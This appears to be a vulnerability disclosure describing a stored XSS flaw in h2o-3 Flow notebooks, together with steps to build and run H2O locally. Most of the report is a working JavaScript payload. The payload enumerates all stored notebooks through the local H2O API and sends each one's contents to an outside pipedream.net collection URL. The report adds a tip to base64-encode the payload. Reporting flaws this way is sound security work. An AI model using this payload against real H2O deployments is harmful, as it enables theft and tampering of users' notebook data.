Description

In h2o-3, the data of all open Flows can be leaked or tampered with through Stored XSS vulnerability, and information can be modified or read in the model.

Proof of Concept

hijack = (data) => {
    window.open(`https://b89f8f617e7792dc04cbdf2efbd5e0c9.m.pipedream.net/?data=${data}`)
}
flows_data = '';
flows_name = [];
fetch('http://localhost:54321/3/NodePersistentStorage/notebook')
    .then((x) => x.text())
    .then((x) => flows_data = JSON.parse(x))
    .then(() => {
        for(i = 0; i < flows_data['entries'].length; i++){
            flows_name.push(flows_data['entries'][i]['name'])
        }
    })
    .then(() => {
        for(i = 0; i < flows_name.length; i++){
            fetch(`http://localhost:54321/3/NodePersistentStorage/notebook/${flows_name[i]}`)
                .then((x) => x.text())
                .then((x) => hijack(x))
        }
    })

The payload leaking data from all Flows is as above. To use it without any error, you need to base64 encode it.

How to build

# Build H2O
git clone https://github.com/h2oai/h2o-3.git
cd h2o-3
./gradlew build -x test

You may encounter problems: e.g. npm missing. Install it:
brew install npm

# Start H2O
java -jar build/h2o.jar

# Point browser to http://localhost:54321
